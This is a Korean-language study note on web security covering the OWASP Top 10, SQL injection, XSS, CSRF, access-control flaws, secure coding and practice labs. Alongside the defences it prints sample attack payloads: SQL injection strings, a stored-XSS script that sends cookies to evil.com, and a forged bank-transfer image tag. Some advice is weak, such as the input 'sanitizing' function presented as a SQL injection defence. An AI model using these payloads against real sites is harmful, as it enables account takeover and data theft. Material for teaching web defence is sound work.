IT Knowledge/Security/images/28-웹-보안-diagram.svg
웹 보안 (Web Security)
웹 애플리케이션 보안 위협과 방어 기법을 이해합니다.
📌 학습 목표
- OWASP Top 10 이해
- SQL 인젝션 방어
- XSS 방어
- CSRF 방어
- 웹 보안 코딩 표준 습득
1. OWASP Top 10 (2021)
| 순위 | 취약점 | 설명 |
|---|---|---|
| 1 | A01: Broken Access Control | 권한 우회 |
| 2 | A02: Cryptographic Failures | 암호화 실패 |
| 3 | A03: Injection | 인젝션 공격 |
| 4 | A04: Insecure Design | 안전하지 않은 설계 |
| 5 | A05: Security Misconfiguration | 보안 구성 오류 |
| 6 | A06: Vulnerable and Outdated Components | 취약한 컴포넌트 |
| 7 | A07: Identification and Authentication Failures | 인증 실패 |
| 8 | A08: Software and Data Integrity Failures | 소프트웨어/데이터 무결성 실패 |
| 9 | A09: Security Logging and Monitoring Failures | 로깅/모니터링 실패 |
| 10 | A10: Server-Side Request Forgery (SSRF) | 서버 사이드 요청 위변조 |
2. SQL 인젝션 (SQL Injection)
정의
악성 SQL 코드를 주입하여 데이터베이스를 조작하는 공격입니다.
공격 원리
-- 정상 쿼리
SELECT * FROM users WHERE username = '$username' AND password = '$password';
-- 악성 입력
username: admin' OR '1'='1
password: anything
-- 실행되는 쿼리
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
-- 결과: 모든 유저 정보 노출공격 유형
1. Error-Based SQLi
-- 데이터베이스 버전 유출
' UNION SELECT 1, @@version --
-- 결과
Duplicate entry '5.7.33' for key...2. Union-Based SQLi
-- 다른 테이블 데이터 유출
' UNION SELECT 1, 2, 3 FROM users --
-- 결과
유저 정보: id, username, password3. Blind SQLi
-- Boolean-Based SQLi
' AND 1=1 -- (True)
' AND 1=2 -- (False)
-- Time-Based SQLi
' AND SLEEP(5) --방어 기법
1. Prepared Statements (권장)
// 안전한 방법
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
// 또는 명명 파라미터
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);# Python (SQLAlchemy)
from sqlalchemy import create_engine, text
engine = create_engine('sqlite:///users.db')
with engine.connect() as conn:
result = conn.execute(text("SELECT * FROM users WHERE username = :username AND password = :password"),
{'username': username, 'password': password})2. Input Validation
// 입력 검증
function sanitizeInput($input) {
$input = trim($input);
$input = stripslashes($input);
$input = htmlspecialchars($input);
return $input;
}
$username = sanitizeInput($_POST['username']);3. 최소 권한 원칙
-- DB 계정 권한 제한
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'Password123!';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp_user'@'localhost';3. XSS (Cross-Site Scripting)
정의
악성 스크립트를 웹 페이지에 주입하여 사용자 브라우저에서 실행하는 공격입니다.
공격 유형
1. Stored XSS (저장형)
<!-- 게시판에 악성 코드 저장 -->
<script>
document.location='http://evil.com/steal?cookie='+document.cookie;
</script>
<!-- 다른 사용자가 게시물 보면 스크립트 실행 -->2. Reflected XSS (반사형)
<!-- URL에 스크립트 포함 -->
http://example.com/search?q=<script>alert('XSS')</script>
<!-- 서버가 입력을 그대로 반사 -->
검색어: <script>alert('XSS')</script>3. DOM-Based XSS
<!-- URL 파라미터가 DOM에 직접 반영 -->
<script>
var query = document.location.href.split('?')[1];
eval(query); // 악성 코드 실행
</script>방어 기법
1. Output Encoding (권장)
// HTML 특수 문자 이스케이프
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// HTML 속성
echo '<div class="' . htmlspecialchars($class, ENT_QUOTES, 'UTF-8') . '">';// JavaScript 이스케이프
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}2. CSP (Content Security Policy)
# HTTP 헤더
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self'; img-src 'self' data:; connect-src 'self';
# 또는 meta 태그
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">3. HTTPOnly Cookies
// XSS에서 쿠키 탈취 방지
setcookie('session_id', $session_id, time() + 3600, '/', 'example.com', true, true);
// ↑ HttpOnly ↑ Secure4. DOM XSS 방어
// DOM API 대신 안전한 메서드 사용
// 위험
element.innerHTML = userInput;
// 안전
element.textContent = userInput;4. CSRF (Cross-Site Request Forgery)
정의
사용자가 원하지 않은 요청을 보내도록 유도하는 공격입니다.
공격 원리
<!-- 악성 사이트 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000">시나리오:
- 사용자가 bank.com 로그인
- 사용자가 악성 사이트 방문
- 악성 사이트가 자동으로 전송 요청 전송
- 사용자 몰래 송금
방어 기법
1. CSRF Token (권장)
// 토큰 생성
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// 폼에 토큰 포함
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="text" name="amount">
<button type="submit">전송</button>
</form>
// 토큰 검증
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF 공격 탐지");
}# Flask (WTF CSRF Protection)
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
csrf = CSRFProtect(app)
# 템플릿
<form method="post">
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
...
</form>2. SameSite Cookie
// 쿠키 SameSite 속성
setcookie('session_id', $session_id, time() + 3600, '/', 'example.com', true, true, 'Strict');
// ↑ SameSite=Strict3. Referer/Origin 체크
// Referer 헤더 검증
$allowed_domains = ['example.com', 'www.example.com'];
$referer = $_SERVER['HTTP_REFERER'];
$referer_host = parse_url($referer, PHP_URL_HOST);
if (!in_array($referer_host, $allowed_domains)) {
die("허용되지 않는 도메인");
}5. Broken Access Control
정의
권한 없는 사용자가 제한된 자원에 접근하는 취약점입니다.
공격 유형
1. IDOR (Insecure Direct Object Reference)
// URL에 ID 포함
GET /profile/12345
// ID 변경으로 다른 사용자 정보 접근
GET /profile/12346 // 12346 사용자 정보 노출2. Privilege Escalation
// 권한 파라미터 조작
GET /admin/dashboard?role=admin // 일반 사용자가 관리자 페이지 접근방어 기법
1. 권한 검증
// IDOR 방어
session_start();
$current_user_id = $_SESSION['user_id'];
if ($_GET['profile_id'] != $current_user_id) {
die("접근 권한 없음");
}
// 또는 소유자 검증
$profile = getProfile($_GET['profile_id']);
if ($profile['user_id'] != $current_user_id) {
die("접근 권한 없음");
}# Django 데코레이터
from django.contrib.auth.decorators import login_required, permission_required
@login_required
@permission_required('app.view_profile', raise_exception=True)
def profile_view(request, profile_id):
profile = get_object_or_404(Profile, id=profile_id)
if profile.user != request.user:
return HttpResponseForbidden("접근 권한 없음")
...2. 세션 관리
// 권한 정보 세션에 저장
session_start();
$_SESSION['user_id'] = $user_id;
$_SESSION['role'] = $role;
$_SESSION['last_activity'] = time();
// 세션 타임아웃
if (time() - $_SESSION['last_activity'] > 1800) {
session_destroy();
}6. Security Misconfiguration
취약점 예시
1. 디버그 모드 활성화
// 개발 환경 설정이 운영 환경에 남음
ini_set('display_errors', 1);
ini_set('error_reporting', E_ALL);2. 기본 비밀번호
Default Password:
- admin/admin
- root/123456
- admin/password
3. 불필요 서비스 활성화
불필요 포트:
- 21 (FTP)
- 23 (Telnet)
- 80 (HTTP - HTTPS만 사용)
방어 기법
1. 운영 환경 구성
// 에러 로깅 (사용자에게 노출 않음)
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');2. 보안 헤더
# 보안 헤더
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains# Flask 보안 헤더
@app.after_request
def add_security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
return response7. 웹 보안 코딩 표준
검증 규칙
// 입력 검증
function validateInput($input, $type) {
if ($type == 'email') {
return filter_var($input, FILTER_VALIDATE_EMAIL);
} elseif ($type == 'url') {
return filter_var($input, FILTER_VALIDATE_URL);
} elseif ($type == 'integer') {
return ctype_digit($input);
}
return false;
}
// 길이 검증
if (strlen($username) < 8 || strlen($username) > 32) {
die("사용자명은 8-32자");
}인코딩 규칙
// 항상 인코딩
function escapeOutput(data) {
if (data === null) return '';
return String(data)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}인증 규칙
// 패스워드 강도
function validatePassword($password) {
// 길이 12+자
if (strlen($password) < 12) return false;
// 대문자 1+개
if (!preg_match('/[A-Z]/', $password)) return false;
// 소문자 1+개
if (!preg_match('/[a-z]/', $password)) return false;
// 숫자 1+개
if (!preg_match('/[0-9]/', $password)) return false;
// 특수문자 1+개
if (!preg_match('/[^a-zA-Z0-9]/', $password)) return false;
return true;
}8. 웹 보안 테스트 도구
스캔 도구
| 도구 | 설명 |
|---|---|
| OWASP ZAP | 오픈 소스 웹 보안 스캐너 |
| Burp Suite | 상용 웹 보안 테스트 도구 |
| Nikto | 웹 서버 취약점 스캐너 |
| SQLMap | SQL 인젝션 자동화 |
OWASP ZAP 사용
# OWASP ZAP 설치
sudo apt-get install zaproxy
# OWASP ZAP 시작
zaproxy
# 자동 스캔
# 1. 타겟 URL 설정
# 2. Attack Mode 선택
# 3. Start Attack 클릭Burp Suite 사용
Burp Suite 워크플로우:
1. Proxy → 타겟 사이트 접속
2. Repeater → 요청 수정 및 재전송
3. Intruder → 자동화된 공격
4. Scanner → 취약점 스캔
9. 웹 보안 체크리스트
코드 레벨
- 모든 사용자 입력 검증
- Prepared Statements 사용
- XSS 방어 (Output Encoding, CSP)
- CSRF 토큰 구현
- 권한 검증
- HTTPOnly/Secure 쿠키
서버 레벨
- HTTPS 적용 (HSTS)
- 보안 헤더 설정
- 디버그 모드 비활성화
- 업데이트된 소프트웨어
- 방화벽 규칙 적용
개발 프로세스
- 보안 요구사항 정의
- 코드 리뷰 수행
- 보안 테스트 (SAST/DAST)
- 침해 테스트 (Penetration Test)
- 보안 교육
🎯 실습 과제
1. DVWA (Damn Vulnerable Web App) 실습
# DVWA 설치
git clone https://github.com/digininja/DVWA.git
cd DVWA
cp config/config.inc.php.dist config/config.inc.php
# Apache/PHP 서버 시작
sudo service apache2 start
sudo service mysql start
# DVWA 접속
http://localhost/dvwa
# SQLi 챌린지
# 1. SQL Injection 챌린지 선택
# 2. ' OR '1'='1 입력
# 3. 결과 확인2. OWASP Juice Shop 실습
# Juice Shop 설치
docker pull bkimminich/juice-shop
docker run -p 3000:3000 bkimminich/juice-shop
# Juice Shop 접속
http://localhost:3000
# XSS 챌린지
# 1. XSS 챌린지 찾기
# 2. 악성 코드 주입
# 3. 알림 박스 확인3. OWASP ZAP 스캔
# OWASP ZAP 시작
zaproxy
# 타겟 사이트 스캔
# 1. 타겟 URL 설정
# 2. Spider 실행
# 3. Active Scan 실행
# 4. 보고서 확인✅ 학습 체크리스트
- OWASP Top 10 이해
- SQL 인젝션 방어 기법 습득
- XSS 방어 기법 습득
- CSRF 방어 기법 습득
- Broken Access Control 방지
- 보안 구성 모범 사례 이해
- 웹 보안 코딩 표준 습득
- 보안 테스트 도구 사용
🔗 관련 노트
📚 참고 자료
다음 학습: SIEM과 보안 운영